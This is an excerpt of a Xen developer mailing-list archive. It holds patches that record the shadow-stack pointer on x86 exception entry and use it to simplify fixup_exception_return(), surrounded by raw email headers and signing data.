To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Wei Liu <wl@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
References: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoe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AMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1782989723-FDB2325E-7A3E1B2E/0/0
X-purgate-type: clean
X-purgate-size: 6838

We will want to use that value for call trace generation, and likely
also to eliminate the somewhat fragile shadow stack searching done in
fixup_exception_return(). For those purposes, guest-only entry points do
not need to record that value.

To keep the saving code simple, record our own SSP that corresponds to
an exception frame, pointing to the top of the shadow stack counterpart
of what the CPU has saved on the regular stack. Consuming code can then
work its way from there.

In SAVE_ALL / RESTORE_ALL simply drop the use of UREGS_r15. We want the
full size in all cases, so what exactly the top-of-stack field is going
to be (whose UREGS_* is 0 anyway) doesn't matter this much there. This
way we don't need to distinguish between XEN_SHSTK=y and XEN_SHSTK=n.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
v3: Put new field at the front of struct cpu_user_regs.
v2: Add comment ahead of SAVE_ALL. Add comma between its parameters.
    Re-base.

--- a/xen/arch/x86/hvm/svm/entry.S
+++ b/xen/arch/x86/hvm/svm/entry.S
@@ -89,7 +89,7 @@ __UNLIKELY_END(nsvm_hap)
 
         vmrun
 
-        SAVE_ALL
+        SAVE_ALL ssp=0
 
         GET_CURRENT(bx)
 
--- a/xen/arch/x86/hvm/vmx/entry.S
+++ b/xen/arch/x86/hvm/vmx/entry.S
@@ -22,7 +22,7 @@
 #include <asm/page.h>
 
 FUNC(vmx_asm_vmexit_handler)
-        SAVE_ALL
+        SAVE_ALL ssp=0
 
         mov  %cr2,%rax
         GET_CURRENT(bx)
@@ -157,7 +157,7 @@ UNLIKELY_END(realmode)
 
 .Lvmx_vmentry_fail:
         sti
-        SAVE_ALL
+        SAVE_ALL ssp=0
 
         /*
          * SPEC_CTRL_ENTRY notes
--- a/xen/arch/x86/include/asm/asm_defns.h
+++ b/xen/arch/x86/include/asm/asm_defns.h
@@ -219,8 +219,12 @@ static always_inline void stac(void)
 #endif
 
 #ifdef __ASSEMBLER__
-.macro SAVE_ALL compat=0
-        addq  $-(UREGS_error_code-UREGS_r15), %rsp
+/*
+ * Use sites may override ssp to 0. It should never be overridden to 1.
+ * NB: compat=1 implies ssp=0.
+ */
+.macro SAVE_ALL compat=0, ssp=IS_ENABLED(CONFIG_XEN_SHSTK)
+        addq  $-UREGS_error_code, %rsp
         cld
         movq  %rdi,UREGS_rdi(%rsp)
         xor   %edi, %edi
@@ -233,6 +237,9 @@ static always_inline void stac(void)
         movq  %rax,UREGS_rax(%rsp)
         xor   %eax, %eax
 .if !\compat
+.if \ssp
+        rdsspq %rcx
+.endif
         movq  %r8,UREGS_r8(%rsp)
         movq  %r9,UREGS_r9(%rsp)
         movq  %r10,UREGS_r10(%rsp)
@@ -262,6 +269,9 @@ static always_inline void stac(void)
         xor   %r13d, %r13d
         xor   %r14d, %r14d
         xor   %r15d, %r15d
+#ifdef CONFIG_XEN_SHSTK
+        mov   %rcx, UREGS_entry_ssp(%rsp)
+#endif
 .endm
 
 #define LOAD_ONE_REG(reg, compat) \
@@ -309,13 +319,15 @@ static always_inline void stac(void)
         LOAD_ONE_REG(dx, \compat)
         LOAD_ONE_REG(si, \compat)
         LOAD_ONE_REG(di, \compat)
-        subq  $-(UREGS_error_code-UREGS_r15+\adj), %rsp
+        subq  $-(UREGS_error_code + \adj), %rsp
 .endm
 
 /*
- * Push and clear GPRs
+ * Push and clear GPRs.
+ *
+ * Use sites may override ssp to 0. It should never be overridden to 1.
  */
-.macro PUSH_AND_CLEAR_GPRS
+.macro PUSH_AND_CLEAR_GPRS ssp=IS_ENABLED(CONFIG_XEN_SHSTK)
         push  %rdi
         xor   %edi, %edi
         push  %rsi
@@ -326,6 +338,9 @@ static always_inline void stac(void)
         xor   %ecx, %ecx
         push  %rax
         xor   %eax, %eax
+ .if \ssp
+        rdsspq %rcx
+ .endif
         push  %r8
         xor   %r8d, %r8d
         push  %r9
@@ -352,12 +367,18 @@ static always_inline void stac(void)
         xor   %r14d, %r14d
         push  %r15
         xor   %r15d, %r15d
+#ifdef CONFIG_XEN_SHSTK
+        push  %rcx
+#endif
 .endm
 
 /*
  * POP GPRs from a UREGS_* frame on the stack.  Does not modify flags.
  */
 .macro POP_GPRS skip_rax=0
+#ifdef CONFIG_XEN_SHSTK
+        pop   %rcx
+#endif
         pop   %r15
         pop   %r14
         pop   %r13
--- a/xen/arch/x86/include/asm/cpu-user-regs.h
+++ b/xen/arch/x86/include/asm/cpu-user-regs.h
@@ -11,6 +11,15 @@
  */
 struct cpu_user_regs
 {
+#ifdef CONFIG_XEN_SHSTK
+    /*
+     * This points _at_ the corresponding shadow stack frame; it is _not_ the
+     * outer context's SSP.  That, if the outer context has CET-SS enabled,
+     * is stored in the top slot of the pointed to shadow stack.
+     */
+    uint64_t entry_ssp;
+#endif
+
     union { uint64_t r15;    uint32_t r15d;   uint16_t r15w;  uint8_t r15b; };
     union { uint64_t r14;    uint32_t r14d;   uint16_t r14w;  uint8_t r14b; };
     union { uint64_t r13;    uint32_t r13d;   uint16_t r13w;  uint8_t r13b; };
--- a/xen/arch/x86/x86_64/asm-offsets.c
+++ b/xen/arch/x86/x86_64/asm-offsets.c
@@ -53,6 +53,9 @@ void __dummy__(void)
     OFFSET(UREGS_eflags, struct cpu_user_regs, rflags);
     OFFSET(UREGS_rsp, struct cpu_user_regs, rsp);
     OFFSET(UREGS_ss, struct cpu_user_regs, ss);
+#ifdef CONFIG_XEN_SHSTK
+    OFFSET(UREGS_entry_ssp, struct cpu_user_regs, entry_ssp);
+#endif
     DEFINE(UREGS_kernel_sizeof, sizeof(struct cpu_user_regs));
     BLANK();
 
--- a/xen/arch/x86/x86_64/entry.S
+++ b/xen/arch/x86/x86_64/entry.S
@@ -304,7 +304,7 @@ FUNC(lstar_enter)
         pushq $0
         BUILD_BUG_ON(TRAP_syscall & 0xff)
         movb  $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
-        SAVE_ALL
+        SAVE_ALL ssp=0
 
         GET_STACK_END(14)
 
@@ -344,7 +344,7 @@ FUNC(cstar_enter)
         pushq $0
         BUILD_BUG_ON(TRAP_syscall & 0xff)
         movb  $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
-        SAVE_ALL
+        SAVE_ALL ssp=0
 
         GET_STACK_END(14)
 
@@ -388,7 +388,7 @@ LABEL(sysenter_eflags_saved, 0)
         pushq $0
         BUILD_BUG_ON(TRAP_syscall & 0xff)
         movb  $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
-        SAVE_ALL
+        SAVE_ALL ssp=0
 
         GET_STACK_END(14)
 
@@ -444,7 +444,7 @@ FUNC(entry_int80)
         ALTERNATIVE "", clac, X86_FEATURE_XEN_SMAP
         pushq $0
         movb  $0x80, EFRAME_entry_vector(%rsp)
-        SAVE_ALL
+        SAVE_ALL ssp=0
 
         GET_STACK_END(14)
 
--- a/xen/arch/x86/x86_64/entry-fred.S
+++ b/xen/arch/x86/x86_64/entry-fred.S
@@ -11,7 +11,7 @@
         /* The Ring3 entry point is required to be 4k aligned. */
 
 FUNC(entry_FRED_R3, 4096)
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
 
         mov     %rsp, %rdi
         call    entry_from_pv
@@ -54,7 +54,7 @@ LABEL(eretu, 0)
 END(eretu_exit_to_guest)
 
 FUNC(eretu_error_dom_crash)
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
         sti
         call    asm_domain_crash_synchronous  /* Does not return */
 END(eretu_error_dom_crash)



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 10:55:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 10:55:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351652.1608763 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfF55-0005GB-Cw; Thu, 02 Jul 2026 10:55:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351652.1608763; Thu, 02 Jul 2026 10:55:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfF55-0005G4-8n; Thu, 02 Jul 2026 10:55:43 +0000
Received: by outflank-mailman (input) for mailman id 1351652;
 Thu, 02 Jul 2026 10:55:42 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfF53-0005Cy-U6
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:55:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfF53-005SQm-Ai
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:55:41 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4643a0-bab6-0a2a0a5309dd-0a2a45078f00-16
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:55:41 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4643ad-9c8e-0a2a45070019-d155dd2eec47-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:55:41 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-476a130c138so1548930f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 03:55:41 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477de3dcf59sm8095181f8f.34.2026.07.02.03.55.40
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 03:55:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782989741; x=1783594541; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=v/oOuLNsb9sp/2KN0lUVF17VXE209vMr5egGnhDKc+8=;
        b=QSciwZm4Sqjo8HcN3GFTnHote/Ra7qMd14YkrQLee5zAAvkTv82OUXgeuLQ7rJRHdL
         wUzmOc4bZu7wXpak+iKvRv7vFFt/f5gcX5I10PdQx3spqrw4nD/JVIk8XRHiwF3iSzQS
         BBu4ocYe4Su66/CnKhVx7C196L+lW03Odk9QkIaUpCpfRnd3oBUWBeFEPELmrbDtT1CW
         GHnALswW+tO5gYU8pOiYr6OtMU1A+a7/qw/YZ6Bi4565lVRn18Qo0vqTKYA4qT0bk1s1
         ZRSLPzjrXwQGCNTaXmiso6n0LTwtkn3vQQ6p2h3pI1s6F65X0YOsV1Hos1sPwVph5XAs
         BkbA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782989741; x=1783594541;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=v/oOuLNsb9sp/2KN0lUVF17VXE209vMr5egGnhDKc+8=;
        b=gvr4Hf0JcZl53EqtnnMm8PZdWITNe6ntjQkHYK6U6AZpJNxJg0qOWY677X7Uj7HrOM
         PXK0bF0zWyIYNWmEewFZN7tS1qiG9/Q5Jz27mJEou6oZXdLzrK5YeExndehv1Og7pclu
         ggVWkLyGA0GSiooPK7KF1s/gZj2C0S5Ecfj0X4LJcT4VvvEbjHZW2KgW4dXg/8Con5xC
         7ll0upuzLT9uf4JBpimxtupEUvIrl83GhrswjbMhS5xaJJAVJ4kz4Zkp+lD7FvTaZJhy
         56iJ72hjimYsAcuGaLP4N6Tohi2tbMbuQlMsGZSul2lvmBGemIIidM7wNliO9PJKOPTe
         1fEw==
X-Gm-Message-State: AOJu0YwjR8Xyi2+PlTIaRlRAMf72VHAwlqca1pR1y5CG8V7QVvySYdkU
	Jm0ZYHLahvisDz0TiMOZK46JoD2+L9s5KOgm/h90nik8DWXeBXcfC2uEZw3imJV8DKX/iHqa4Jm
	lIczSqA==
X-Gm-Gg: AfdE7ckIJ0u3oeQGE8y8wA/Ot2DGrvWEHuwWdf36xjjSqZFYBBpAN7jjaaGM+qSmMyM
	QAn+8yveSYSsALb7UZ5fyr6E9TrCh1UVLjFFWdfx4vro304ru3vOJFcGpoRwyFF8GCBMATEnq2N
	QqaWaSDxHKZ0AqkUJfSN0buj9v/xk4Yh86Uzk9inc6DuLftCKz3HygVCl+o1Eq/MFiFp6LqF11A
	5J8MrZXVSplfuRUFn0E15Gzk1oAIlH+9zeVMq0Y6NY+Sr5+1AnAwoFyQQZBKON6ut/UirrPGInD
	vQ8piYhM/FjkniS71UzdVLJlZHia6fSqSoIjrPE1RA0Z6+VpEE7TjhYUBuhQ+72w7XE3mZv6dkI
	DPXTXtxjy361IybuyiLFmhfCLGiCmqPiK/L9SYbYXSKufS8RsVluCZeRM7BdNUvKyEOj65cQRLj
	+wc5twcX1TYLzXbdas6jawumAyIwoXXmcB9jJYhuRlur96pTqwaIwbDKlG9wnqiqThtCKmXD7yO
	j5c
X-Received: by 2002:a5d:5f56:0:b0:470:390c:1e73 with SMTP id ffacd0b85a97d-477b39839cbmr7299589f8f.18.1782989740669;
        Thu, 02 Jul 2026 03:55:40 -0700 (PDT)
Message-ID: <8af61c08-71f9-4d18-ba9c-952b7894c44d@suse.com>
Date: Thu, 2 Jul 2026 12:55:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v3 3/4] x86/traps: use entry_ssp in fixup_exception_return()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Wei Liu <wl@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
References: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1782989741-7DB2325E-58462B72/0/0
X-purgate-type: clean
X-purgate-size: 5876

With the value recorded on entry there's no need anymore to go hunt for
the respective exception frame on the shadow stack. By deriving "ptr"
from that field (without any offset), it then ends up pointing one slot
lower than before. Therefore all array indexes need incrementing, nicely
doing away with all the negative ones.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Indentation of the prior inner (but not innermost) if()'s body is
deliberately left untouched, to aid review. It'll be adjusted in a
separate follow-on patch.
---
v3: Relax the first BUG_ON().
v2: IS_ENABLED() -> #ifdef. Re-base.

--- a/xen/arch/x86/traps.c
+++ b/xen/arch/x86/traps.c
@@ -690,19 +690,6 @@ unsigned long get_stack_trace_bottom(uns
     }
 }
 
-static unsigned long get_shstk_bottom(unsigned long sp)
-{
-    /* SAF-11-safe */
-    switch ( get_stack_page(sp) )
-    {
-#ifdef CONFIG_XEN_SHSTK
-    case 0:  return ROUNDUP(sp, IST_SHSTK_SIZE) - sizeof(unsigned long);
-    case 5:  return ROUNDUP(sp, PAGE_SIZE)      - sizeof(unsigned long);
-#endif
-    default: return sp - sizeof(unsigned long);
-    }
-}
-
 unsigned long get_stack_dump_bottom(unsigned long sp)
 {
     switch ( get_stack_page(sp) )
@@ -1187,26 +1174,29 @@ void asmlinkage noreturn do_unhandled_tr
 static void fixup_exception_return(struct cpu_user_regs *regs,
                                    unsigned long fixup, unsigned long stub_ra)
 {
-    if ( IS_ENABLED(CONFIG_XEN_SHSTK) )
+#ifdef CONFIG_XEN_SHSTK
     {
-        unsigned long ssp, *ptr, *base;
+        unsigned long ssp = rdssp();
 
-        if ( (ssp = rdssp()) == SSP_NO_SHSTK )
-            goto shstk_done;
+        if ( ssp != SSP_NO_SHSTK )
+        {
+            unsigned long *ptr = _p(regs->entry_ssp);
+            unsigned long primary_shstk =
+                (ssp & ~(STACK_SIZE - 1)) +
+                (PRIMARY_SHSTK_SLOT + 1) * PAGE_SIZE - 8;
 
-        ptr = _p(ssp);
-        base = _p(get_shstk_bottom(ssp));
+            BUG_ON((regs->entry_ssp ^ primary_shstk) >>
+                   (PAGE_SHIFT + STACK_ORDER));
 
-        for ( ; ptr < base; ++ptr )
-        {
             /*
-             * Search for %rip.  The shstk currently looks like this:
+             * The shstk currently looks like this:
              *
              *   tok  [Supervisor token, == &tok | BUSY, only with FRED inactive]
              *   ...  [Pointed to by SSP for most exceptions, empty in IST cases]
              *   %cs  [== regs->cs]
              *   %rip [== regs->rip]
-             *   SSP  [Likely points to 3 slots higher, above %cs]
+             *   SSP  [Pointed to by entry_ssp; Likely points to 3 slots
+             *         higher, above %cs]
              *   ...  [call tree to this function, likely 2/3 slots]
              *
              * and we want to overwrite %rip with fixup.  There are two
@@ -1219,13 +1209,10 @@ static void fixup_exception_return(struc
              *
              * Check for both regs->rip and regs->cs matching.
              */
-            if ( ptr[0] == regs->rip && ptr[1] == regs->cs )
-            {
-                unsigned long primary_shstk =
-                    (ssp & ~(STACK_SIZE - 1)) +
-                    (PRIMARY_SHSTK_SLOT + 1) * PAGE_SIZE - 8;
+            BUG_ON(ptr[1] != regs->rip || ptr[2] != regs->cs);
 
-                wrss(fixup, ptr);
+            {
+                wrss(fixup, &ptr[1]);
 
                 if ( !stub_ra )
                     goto shstk_done;
@@ -1242,7 +1229,7 @@ static void fixup_exception_return(struc
                  * - if we're on an IST stack, we need to increment the
                  *   original SSP.
                  */
-                BUG_ON((ptr[-1] ^ primary_shstk) >> PAGE_SHIFT);
+                BUG_ON((ptr[0] ^ primary_shstk) >> PAGE_SHIFT);
 
                 if ( (ssp ^ primary_shstk) >> PAGE_SHIFT )
                 {
@@ -1251,39 +1238,30 @@ static void fixup_exception_return(struc
                      * addresses actually match.  Then increment the interrupted
                      * context's SSP.
                      */
-                    BUG_ON(stub_ra != *(unsigned long*)ptr[-1]);
-                    wrss(ptr[-1] + 8, &ptr[-1]);
+                    BUG_ON(stub_ra != *(unsigned long*)ptr[0]);
+                    wrss(ptr[0] + 8, &ptr[0]);
                     goto shstk_done;
                 }
 
                 /* Make sure the two return addresses actually match. */
-                BUG_ON(stub_ra != ptr[2]);
+                BUG_ON(stub_ra != ptr[3]);
 
                 /* Move exception frame, updating SSP there. */
-                wrss(ptr[1], &ptr[2]); /* %cs */
-                wrss(ptr[0], &ptr[1]); /* %rip */
-                wrss(ptr[-1] + 8, &ptr[0]); /* SSP */
+                wrss(ptr[2], &ptr[3]); /* %cs */
+                wrss(ptr[1], &ptr[2]); /* %rip */
+                wrss(ptr[0] + 8, &ptr[1]); /* SSP */
 
                 /* Move all newer entries. */
-                while ( --ptr != _p(ssp) )
-                    wrss(ptr[-1], &ptr[0]);
+                while ( ptr-- != _p(ssp) )
+                    wrss(ptr[0], &ptr[1]);
 
                 /* Finally account for our own stack having shifted up. */
                 asm volatile ( "incsspd %0" :: "r" (2) );
-
-                goto shstk_done;
             }
         }
-
-        /*
-         * We failed to locate and fix up the shadow IRET frame.  This could
-         * be due to shadow stack corruption, or bad logic above.  We cannot
-         * continue executing the interrupted context.
-         */
-        BUG();
-
     }
  shstk_done:
+#endif /* CONFIG_XEN_SHSTK */
 
     /* Fixup the regular stack. */
     regs->rip = fixup;



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 10:56:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 10:56:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351659.1608770 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfF5N-0005lO-Md; Thu, 02 Jul 2026 10:56:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351659.1608770; Thu, 02 Jul 2026 10:56:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfF5N-0005lF-K6; Thu, 02 Jul 2026 10:56:01 +0000
Received: by outflank-mailman (input) for mailman id 1351659;
 Thu, 02 Jul 2026 10:56:00 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfF5M-0005jW-6p
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:56:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfF5L-005SZh-J2
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:55:59 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4643ae-5cb7-0a2a0a5109dd-0a2a450bcd14-28
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:55:59 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4643bf-ac48-0a2a450b0019-d1558030b18d-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:55:59 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-493b7612475so13560495e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 03:55:59 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477dbe617b1sm7898518f8f.16.2026.07.02.03.55.58
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 03:55:58 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782989759; x=1783594559; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=y40rikzKdW41I0gcKC+jqL54qXX/dn+hAUR30HB1xyE=;
        b=eh7Q7K2qOy6U8kyHHoMlBLcaCpYUYEXasesUO+v22GXrh85ks2gWvTGrJxszC4uFXL
         U2yQm+v31PYfsVhlmRVOGTlkKnHGvWWcF9v26fatcEF+6XFeI9CNcgMHVhMELU3YXWfW
